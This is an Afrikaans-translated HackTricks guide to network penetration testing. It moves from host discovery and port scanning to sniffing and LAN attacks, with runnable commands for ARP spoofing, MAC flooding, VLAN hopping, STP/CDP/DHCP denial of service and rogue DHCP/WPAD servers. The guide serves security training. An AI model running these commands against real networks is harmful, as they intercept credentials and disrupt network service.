hacktricks/generic-methodologies-and-resources/pentesting-network/README.md

52 KiB
Raw Blame History

Pentesting Network

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}


Bug bounty wenk: meld aan by Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om bounties tot $100,000 te verdien!

{% embed url="https://go.intigriti.com/hacktricks" %}

Ontdek hosts van buite

Dit gaan 'n kort afdeling wees oor hoe om IP's wat antwoord gee van die Internet te vind.
In hierdie situasie het jy 'n paar reeks IP's (miskien selfs verskeie reekse) en jy moet net vind watter IP's antwoord gee.

ICMP

Dit is die gemaklikste en vinnigste manier om te ontdek of 'n host aan is of nie.
Jy kan probeer om 'n paar ICMP pakkette te stuur en antwoord te verwag. Die maklikste manier is om net 'n echo aanvraag te stuur en van die antwoord te verwag. Jy kan dit doen met 'n eenvoudige ping of met fping vir reekse.
Jy kan ook nmap gebruik om ander tipes ICMP pakkette te stuur (dit sal filters vir algemene ICMP echo aanvraag-antwoord vermy).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP Port Ontdekking

Dit is baie algemeen om te vind dat alle soorte ICMP-pakkette gefilter word. Dan is al wat jy kan doen om te kyk of 'n gasheer aan is, om oop poorte te probeer vind. Elke gasheer het 65535 poorte, so, as jy 'n "groot" omvang het, kan jy nie toets of elke poort van elke gasheer oop is of nie, dit sal te veel tyd neem.
Dan, wat jy nodig het, is 'n vinnige poortskandeerder (masscan) en 'n lys van die meest gebruikte poorte:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

U kan ook hierdie stap met nmap uitvoer, maar dit is stadiger en nmap het probleme om gashere te identifiseer.

HTTP Port Discovery

Dit is net 'n TCP-poortontdekking wat nuttig is wanneer u wil fokus op die ontdekking van HTTP dienste:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP Port Discovery

Jy kan ook probeer om te kyk vir 'n paar UDP poorte wat oop is om te besluit of jy meer aandag aan 'n gasheer moet gee. Aangesien UDP dienste gewoonlik nie antwoordgee met enige data op 'n gewone leë UDP-probe-pakket nie, is dit moeilik om te sê of 'n poort gefilter of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens aan die gang is nie, moet jy die mees waarskynlike probeer op grond van die poortnommer:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Die nmap lyn wat voorheen voorgestel is, sal die top 1000 UDP-poorte in elke gasheer binne die /24 reeks toets, maar selfs dit sal >20min neem. As jy vinniger resultate nodig het, kan jy udp-proto-scanner gebruik: ./udp-proto-scanner.pl 199.66.11.53/24 Dit sal hierdie UDP-probes na hul verwachte poort stuur (vir 'n /24 reeks sal dit net 1 min neem): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP Poort Ontdekking

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Hier kan jy 'n lekker gids vind van al die bekende Wifi-aanvalle ten tyde van die skryf:

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Ontdek hosts van binne

As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen om ander hosts te ontdek. Afhangende van hoeveel geraas jy kan/wil maak, kan verskillende aksies uitgevoer word:

Passief

Jy kan hierdie gereedskap gebruik om passief hosts binne 'n gekonnekteerde netwerk te ontdek:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Aktief

Let daarop dat die tegnieke wat in Ontdekking van gasheer vanaf die buitekant (TCP/HTTP/UDP/SCTP Poort Ontdekking) kommentaar gelewer is, ook hier toegepas kan word.
Maar, aangesien jy in die selfde netwerk as die ander gashere is, kan jy meer dinge doen:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Aktiewe ICMP

Let daarop dat die tegnieke wat in Ontdekking van gasheer vanaf die buitekant (ICMP) genoem word, ook hier toegepas kan word.
Maar, aangesien jy in die dieselfde netwerk as die ander gashere is, kan jy meer dinge doen:

  • As jy 'n subnet uitsaai adres ping, moet die ping by elke gasheer aankom en hulle kan aan jou antwoordgee: ping -b 10.10.5.255
  • Deur die netwerk uitsaai adres te ping, kan jy selfs gashere binne ander subnets vind: ping -b 255.255.255.255
  • Gebruik die -PE, -PP, -PM vlae van nmap om gasheer ontdekking uit te voer deur onderskeidelik ICMPv4 echo, tydstempel, en subnetmasker versoeke te stuur: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan word gebruik om rekenaars aan te skakel deur 'n netwerk boodskap. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n MAC Dst verskaf word en dan word dit 16 keer herhaal binne dieselfde pakket.
Dan word hierdie tipe pakkette gewoonlik in 'n ethernet 0x0842 of in 'n UDP pakket na poort 9 gestuur.
As geen [MAC] verskaf word nie, word die pakket na uitsaai ethernet gestuur (en die uitsaai MAC sal die een wees wat herhaal word).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Scanning Hosts

Sodra jy al die IP's (eksterne of interne) ontdek het wat jy in diepte wil skandeer, kan verskillende aksies uitgevoer word.

TCP

  • Oop poort: SYN --> SYN/ACK --> RST
  • Geslote poort: SYN --> RST/ACK
  • Gefiltreerde poort: SYN --> [GEEN ANTWOORD]
  • Gefiltreerde poort: SYN --> ICMP boodskap
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Daar is 2 opsies om 'n UDP-poort te skandeer:

  • Stuur 'n UDP-pakket en kyk vir die antwoord ICMP onbereikbaar as die poort gesluit is (in verskeie gevalle sal ICMP gefilter word sodat jy nie enige inligting sal ontvang as die poort gesluit of oop is nie).
  • Stuur 'n geformateerde datagram om 'n antwoord van 'n diens uit te lok (bv., DNS, DHCP, TFTP, en ander, soos gelys in nmap-payloads). As jy 'n antwoord ontvang, dan is die poort oop.

Nmap sal albei opsies meng met "-sV" (UDP-skanderings is baie stadig), maar let daarop dat UDP-skanderings stadiger is as TCP-skanderings:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP Scan

SCTP (Stream Control Transmission Protocol) is ontwerp om saam met TCP (Transmission Control Protocol) en UDP (User Datagram Protocol) gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke wat in Signaling System 7 (SS7) voorkom, naboots. SCTP is 'n kernkomponent van die SIGTRAN protokolgesin, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.

Die ondersteuning vir SCTP word verskaf deur verskeie bedryfstelsels, soos IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, en VxWorks, wat die breë aanvaarding en nut daarvan in die veld van telekommunikasie en netwerking aandui.

Twee verskillende skande vir SCTP word deur nmap aangebied: -sY en -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS en IPS ontwyking

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Meer nmap opsies

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Onthulling van Interne IP Adresse

Sleg geconfigureerde routers, vuurmure en netwerktoestelle reageer soms op netwerkprobes met nie-openbare bronadresse. tcpdump kan gebruik word om pakkette te identifiseer wat van private adresse ontvang is tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die eth2-koppelvlak gevang word, wat vanaf die openbare internet toeganklik is. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefilter sal word.

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse en hostname leer deur gevangenis rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die switching fabric onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.

As 'n geswikte Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsendingsrame en materiaal wat bestem is vir jou MAC-adres sien.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Een kan ook pakkette van 'n afstandmasjien oor 'n SSH-sessie met Wireshark as die GUI in werklike tyd vasvang.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Duidelik.

Capturing credentials

Jy kan gereedskap soos https://github.com/lgandx/PCredz gebruik om kredensiale uit 'n pcap of 'n lewende koppelvlak te ontleed.

LAN-aanvalle

ARP spoofing

ARP Spoofing bestaan uit die stuur van gratis ARP Responses om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en ons masjien kontak elke keer as dit die IP wat gespoof is, wil kontak.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAM oorgeloop

Oorgeloop die skakel se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakel soos 'n hub te werk (uit te saai al die verkeer).

macof -i <interface>

In moderne skakels is hierdie kwesbaarheid reggestel.

802.1Q VLAN / DTP Aanvalle

Dinamiese Trunking

Die Dinamiese Trunking Protokol (DTP) is ontwerp as 'n skakelvlakprotokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakels in staat stel om outomaties poorte vir trunkmodus (Trunk) of nie-trunkmodus te kies. Die implementering van DTP word dikwels gesien as 'n aanduiding van suboptimale netwerkontwerp, wat die belangrikheid van handmatige konfigurasie van trunks slegs waar nodig beklemtoon en verseker dat behoorlike dokumentasie bestaan.

Standaard is skakelpoorte ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te begin indien 'n naburige skakel dit vra. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakel koppel en 'n DTP Desirable-raam stuur, wat die poort dwing om in trunkmodus te gaan. Hierdie aksie stel die aanvaller in staat om VLANs te tel deur STP-raamontleding en om VLAN-segmentasie te omseil deur virtuele interfaces op te stel.

Die teenwoordigheid van DTP in baie skakels standaard kan deur teenstanders uitgebuit word om 'n skakel se gedrag na te boots, en sodoende toegang tot verkeer oor alle VLANs te verkry. Die skrip dtpscan.sh word gebruik om 'n interface te monitor, wat onthul of 'n skakel in Standaard, Trunk, Dinamies, Auto, of Toegang-modus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-hopping-aanvalle. Hierdie hulpmiddel evalueer die kwesbaarheidstatus van die skakel.

As netwerk kwesbaarheid geïdentifiseer word, kan die Yersinia hulpmiddel gebruik word om "trunking te aktiveer" via die DTP-protokol, wat die waarneming van pakkette van alle VLANs moontlik maak.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Om die VLANs te tel, is dit ook moontlik om die DTP Desirable-raam te genereer met die skrip DTPHijacking.py**. Moet die skrip onder geen omstandighede onderbreek nie. Dit spuit DTP Desirable elke drie sekondes in. Die dinamies geskepte trunk-kanale op die skakelaar leef net vir vyf minute. Na vyf minute val die trunk af.

sudo python3 DTPHijacking.py --interface eth0

Ek wil daarop wys dat Access/Desirable (0x03) aandui dat die DTP-raam van die Desirable-tipe is, wat die poort vertel om na Trunk-modus te skakel. En 802.1Q/802.1Q (0xa5) dui die 802.1Q inkapselingstipe aan.

Deur die STP-raam te analiseer, leer ons oor die bestaan van VLAN 30 en VLAN 60.

Aanval op spesifieke VLANs

Sodra jy VLAN-ID's en IP-waardes ken, kan jy 'n virtuele koppelvlak konfigureer om 'n spesifieke VLAN aan te val.
As DHCP nie beskikbaar is nie, gebruik dan ifconfig om 'n statiese IP-adres in te stel.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatiese VLAN Hopper

Die bespreekte aanval van Dinamiese Trunking en die skep van virtuele interfaces om gashere binne ander VLANs te ontdek, word automaties uitgevoer deur die hulpmiddel: https://github.com/nccgroup/vlan-hopping---frogger

Dubbele Etiket

As 'n aanvaller die waarde van die MAC, IP en VLAN ID van die slagoffer gasheer ken, kan hy probeer om 'n dubbele etiket op 'n raam te plaas met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die slagoffer nie terug kan verbind met die aanvaller nie, is die beste opsie vir die aanvaller om via UDP te kommunikeer met protokolle wat 'n paar interessante aksies kan uitvoer (soos SNMP).

'n Ander opsie vir die aanvaller is om 'n TCP-poortskandering te begin wat 'n IP naboots wat deur die aanvaller beheer word en deur die slagoffer toeganklik is (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gasheer wat hy besit as dit 'n paar pakkette van die slagoffer ontvang.

Om hierdie aanval uit te voer, kan jy scapy gebruik: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

As jy toegang het tot 'n skakelaar waaraan jy direk gekoppel is, het jy die vermoë om VLAN-segmentering binne die netwerk te omseil. Skakel eenvoudig die poort na trunk-modus (ook bekend as trunk), skep virtuele interfaces met die ID's van die teiken VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang van die geval af.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Layer 3 Private VLAN Bypass

In sekere omgewings, soos gaste draadlose netwerke, word poort-isolasie (ook bekend as private VLAN) instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onvanpaste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk gelei te word.

Die aanval word uitgevoer deur 'n pakket te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres. Dit veroorsaak dat die router die pakket verkeerdelik na die teiken kliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Double Tagging Attacks gebruik word, waar die vermoë om 'n gasheer wat vir die slagoffer toeganklik is, te beheer, gebruik word om die sekuriteitsfout te benut.

Belangrike Stappe van die Aanval:

  1. Skep van 'n Pakket: 'n Pakket word spesiaal geskep om die teiken kliënt se IP-adres in te sluit, maar met die router se MAC-adres.
  2. Benut die Router Gedrag: Die geskepte pakket word na die router gestuur, wat, as gevolg van die konfigurasie, die pakket na die teiken kliënt omlei, terwyl dit die isolasie wat deur private VLAN-instellings verskaf word, omseil.

VTP Attacks

VTP (VLAN Trunking Protocol) sentraliseer VLAN-bestuur. Dit gebruik hersieningsnommers om die integriteit van die VLAN-databasis te handhaaf; enige wysiging verhoog hierdie nommer. Skakelaars neem konfigurasies met hoër hersieningsnommers aan, wat hul eie VLAN-databasisse opdateer.

VTP Domain Roles

  • VTP Server: Bestuur VLAN's—skep, verwyder, wysig. Dit versprei VTP-aankondigings na domeinlede.
  • VTP Client: Ontvang VTP-aankondigings om sy VLAN-databasis te sinkroniseer. Hierdie rol is beperk van plaaslike VLAN-konfigurasiewysigings.
  • VTP Transparent: Neem nie deel aan VTP-opdaterings nie, maar stuur VTP-aankondigings voort. Onbeïnvloed deur VTP-aanvalle, handhaaf dit 'n konstante hersieningsnommer van nul.

VTP Advertisement Types

  • Summary Advertisement: Word elke 300 sekondes deur die VTP-server uitgesaai, wat essensiële domein-inligting dra.
  • Subset Advertisement: Gestuur na VLAN-konfigurasiewysigings.
  • Advertisement Request: Uitgereik deur 'n VTP-kliënt om 'n Summary Advertisement aan te vra, tipies in reaksie op die opsporing van 'n hoër konfigurasie hersieningsnommer.

VTP kwesbaarhede kan uitsluitlik via trunk-poorte benut word, aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan die fokus na VTP verskuif. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis, wat effektief die netwerk ontwrig.

Nota: Hierdie bespreking handel oor VTP weergawe 1 (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

In Yersinia se grafiese modus, kies die opsie om alle VTP vlans te verwyder om die VLAN-databasis te verwyder.

STP-aanvalle

As jy nie BPDU-raamwerke op jou interfaces kan vang nie, is dit onwaarskynlik dat jy in 'n STP-aanval sal slaag.

STP BPDU DoS

Deur 'n groot aantal BPDUs TCP (Topologie Verandering Kennisgewing) of Conf (die BPDUs wat gestuur word wanneer die topologie geskep word) te stuur, word die skakelaars oorlaai en stop hulle om korrek te werk.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP-aanval

Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15s verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakel soos 'n hub.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Aanval

Die aanvaller simuleer die gedrag van 'n skakelaar om die STP wortel van die netwerk te word. Dan sal meer data deur hom beweeg. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die prioriteit waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

As die aanvaller met 2 skakels verbind is, kan hy die wortel van die nuwe boom wees en al die verkeer tussen daardie skakels sal deur hom verbygaan (n MITM-aanval sal uitgevoer word).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP-aanvalle

CISCO Discovery Protocol (CDP) is noodsaaklik vir kommunikasie tussen CISCO-toestelle, wat hulle in staat stel om mekaar te identifiseer en konfigurasiedetails te deel.

Passiewe Data-insameling

CDP is geconfigureer om inligting deur alle poorte te broadcast, wat 'n sekuriteitsrisiko kan inhou. 'n Aanvaller, wanneer hy aan 'n skakelpoort koppel, kan netwerk-sniffers soos Wireshark, tcpdump, of Yersinia ontplooi. Hierdie aksie kan sensitiewe data oor die netwerktoestel onthul, insluitend sy model en die weergawe van Cisco IOS wat dit gebruik. Die aanvaller kan dan spesifieke kwesbaarhede in die geïdentifiseerde Cisco IOS-weergawe teiken.

Indusering van CDP Tabelvloei

'n Meer aggressiewe benadering behels die ontploffing van 'n Denial of Service (DoS) aanval deur die skakel se geheue te oorweldig, terwyl daar voorgegee word om wettige CISCO-toestelle te wees. Hieronder is die opdragreeks om so 'n aanval te begin met behulp van Yersinia, 'n netwerktool wat ontwerp is vir toetsing:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Tijdens hierdie aanval word die skakelaar se CPU en CDP-buurtafel swaar belas, wat lei tot wat dikwels verwys word as “netwerk-paralisie” weens die oormatige hulpbronverbruik.

CDP Impersonation Attack

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP-aanvalle en die VoIP Hopper-gereedskap

VoIP-telefone, wat toenemend geïntegreer is met IoT-toestelle, bied funksies soos die ontsluiting van deure of die beheer van termostate deur middel van spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.

Die gereedskap voiphopper is ontwerp om 'n VoIP-foon in verskillende omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent) na te boots. Dit ontdek die stemnetwerk se VLAN-ID deur gebruik te maak van protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.

VoIP Hopper bied drie modi vir die Cisco Discovery Protocol (CDP):

  1. Sniff Mode (-c 0): Analiseer netwerkpakkette om die VLAN-ID te identifiseer.
  2. Spoof Mode (-c 1): Genereer pasgemaakte pakkette wat dié van 'n werklike VoIP-toestel naboots.
  3. Spoof with Pre-made Packet Mode (-c 2): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-foonmodel.

Die verkiesde modus vir spoed is die derde een. Dit vereis dat die volgende gespesifiseer word:

  • Die aanvaller se netwerkinterfaan (-i parameter).
  • Die naam van die VoIP-toestel wat nagebootst word (-E parameter), wat voldoen aan die Cisco benoemingsformaat (bv. SEP gevolg deur 'n MAC-adres).

In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan 'n mens:

  • Die MAC-etiket op die foon inspekteer.
  • Die foon se vertooninstellings navigeer om modelinligting te sien.
  • Die VoIP-toestel aan 'n skootrekenaar koppel en CDP-versoeke met Wireshark waarneem.

'n Voorbeeldopdrag om die gereedskap in die derde modus uit te voer, sou wees:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP-aanvalle

Opname

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Twee tipes DoS kan teen DHCP-bedieners uitgevoer word. Die eerste een bestaan uit simuleer genoeg vals gashere om al die moontlike IP-adresse te gebruik.
Hierdie aanval sal slegs werk as jy die antwoorde van die DHCP-bediener kan sien en die protokol kan voltooi (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)). Byvoorbeeld, dit is nie moontlik in Wifi-netwerke nie.

'n Ander manier om 'n DHCP DoS uit te voer, is om 'n DHCP-RELEASE-pakket te stuur met elke moontlike IP as bronkode. Dan sal die bediener dink dat almal klaar is om die IP te gebruik.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

'n Meer outomatiese manier om dit te doen, is deur die hulpmiddel DHCPing te gebruik.

Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe huurooreenkomste binne die omgewing te verkry, en om wettige bedieners uit te put sodat hulle onresponsief raak. So wanneer die wettige probeer om weer aan te sluit, kan jy kwaadwillige waardes bedien wat in die volgende aanval genoem word.

Stel kwaadwillige waardes in

'n Rogue DHCP-bediener kan opgestel word met behulp van die DHCP-skrip geleë by /usr/share/responder/DHCP.py. Dit is nuttig vir netwerkaanvalle, soos om HTTP-verkeer en geloofsbriewe te vang, deur verkeer na 'n kwaadwillige bediener te herlei. Dit is egter minder effektief om 'n rogue gateway in te stel, aangesien dit slegs toelaat om uitgaande verkeer van die kliënt te vang, terwyl die antwoorde van die werklike gateway gemis word. In plaas daarvan, word dit aanbeveel om 'n rogue DNS of WPAD-bediener op te stel vir 'n meer effektiewe aanval.

Hieronder is die opdragopsies vir die konfigurasie van die rogue DHCP-bediener:

  • Ons IP-adres (Gateway Advertensie): Gebruik -i 10.0.0.100 om jou masjien se IP as die gateway te adverteer.
  • Plaaslike DNS Domeinnaam: Opsioneel, gebruik -d example.org om 'n plaaslike DNS-domeinnaam in te stel.
  • Oorspronklike Router/Gateway IP: Gebruik -r 10.0.0.1 om die IP-adres van die wettige router of gateway spesifiek aan te dui.
  • Primêre DNS Bediener IP: Gebruik -p 10.0.0.100 om die IP-adres van die rogue DNS-bediener wat jy beheer, in te stel.
  • Sekondêre DNS Bediener IP: Opsioneel, gebruik -s 10.0.0.1 om 'n sekondêre DNS-bediener IP in te stel.
  • Netmasker van Plaaslike Netwerk: Gebruik -n 255.255.255.0 om die netmasker vir die plaaslike netwerk te definieer.
  • Koppelvlak vir DHCP Verkeer: Gebruik -I eth1 om na DHCP-verkeer op 'n spesifieke netwerk-koppelvlak te luister.
  • WPAD Konfigurasie Adres: Gebruik -w “http://10.0.0.100/wpad.dat” om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeer onderskep.
  • Spoof Standaard Gateway IP: Sluit -S in om die standaard gateway IP-adres te spoof.
  • Reageer op Alle DHCP Versoeke: Sluit -R in om die bediener te laat reageer op alle DHCP versoeke, maar wees bewus dat dit lawaaierig is en opgespoor kan word.

